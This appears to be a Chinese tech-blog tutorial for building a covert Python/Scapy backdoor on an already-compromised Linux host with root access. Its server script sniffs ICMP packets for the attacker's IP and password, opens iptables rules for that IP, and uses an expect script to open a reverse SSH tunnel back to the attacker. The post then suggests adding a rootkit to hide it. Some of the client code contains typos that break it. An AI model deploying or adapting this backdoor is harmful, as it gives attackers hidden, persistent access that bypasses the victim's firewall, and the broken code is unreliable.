用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python迭代器实例简析
Sep 25 Python
python实现合并两个数组的方法
May 16 Python
python dict 字典 以及 赋值 引用的一些实例(详解)
Jan 20 Python
利用Python爬虫给孩子起个好名字
Feb 14 Python
Python3计算三角形的面积代码
Dec 18 Python
python实现画圆功能
Jan 25 Python
PyTorch上搭建简单神经网络实现回归和分类的示例
Apr 28 Python
python 输出所有大小写字母的方法
Jan 02 Python
在Django下测试与调试REST API的方法详解
Aug 29 Python
使用python代码进行身份证号校验的实现示例
Nov 21 Python
Python 调用有道翻译接口实现翻译
Mar 02 Python
解决TensorFlow调用Keras库函数存在的问题
Jul 06 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
评分9.0以上的动画电影,剧情除了经典还很燃
2020/03/04 日漫
在PHP中使用XML
2006/10/09 PHP
PHP实现文件下载详解
2014/11/27 PHP
学习thinkphp5.0验证类使用方法
2017/11/16 PHP
PHP实现关键字搜索后描红功能示例
2019/07/03 PHP
用php定义一个数组最简单的方法
2019/10/04 PHP
自己动手制作jquery插件之自动添加删除行的实现
2011/10/13 Javascript
jquery.validate的使用说明介绍
2013/11/12 Javascript
jQuery层级选择器用法分析
2015/02/10 Javascript
AngularJS控制器继承自另一控制器
2016/05/09 Javascript
深入浅析JavaScript中with语句的理解
2016/05/12 Javascript
jQuery EasyUI Pagination实现分页的常用方法
2016/05/21 Javascript
JavaScript从0开始构思表情插件
2016/07/26 Javascript
解决VUEX兼容IE上的报错问题
2018/03/01 Javascript
Layui弹框中数据表格中可双击选择一条数据的实现
2020/05/06 Javascript
小程序实现简单语音聊天的示例代码
2020/07/24 Javascript
[04:45]上海特级锦标赛主赛事第三日TOP10
2016/03/05 DOTA
python输出指定月份日历的方法
2015/04/23 Python
Python实现的简单hangman游戏实例
2015/06/28 Python
浅析Python中else语句块的使用技巧
2016/06/16 Python
实例讲解Python中global语句下全局变量的值的修改
2016/06/16 Python
Python之自动获取公网IP的实例讲解
2017/10/01 Python
如何在django里上传csv文件并进行入库处理的方法
2019/01/02 Python
设置jupyter中DataFrame的显示限制方式
2020/04/12 Python
解决Keras中CNN输入维度报错问题
2020/06/29 Python
python批量修改交换机密码的示例
2020/09/22 Python
Hanro官网:奢华男士和女士内衣、睡衣和家居服
2018/10/25 全球购物
美国领先的男士和女士内衣购物网站:Freshpair
2019/02/25 全球购物
化学相关工作求职信
2013/10/02 职场文书
英语硕士生求职简历的自我评价
2013/10/15 职场文书
端午节粽子促销活动方案
2014/02/02 职场文书
教师师德师风自我剖析材料
2014/09/29 职场文书
2015年后备干部工作总结
2015/05/15 职场文书
家庭暴力离婚起诉书
2015/05/18 职场文书
2016年先进班集体事迹材料
2016/02/26 职场文书
建国70周年的心得体会(2篇)
2019/09/20 职场文书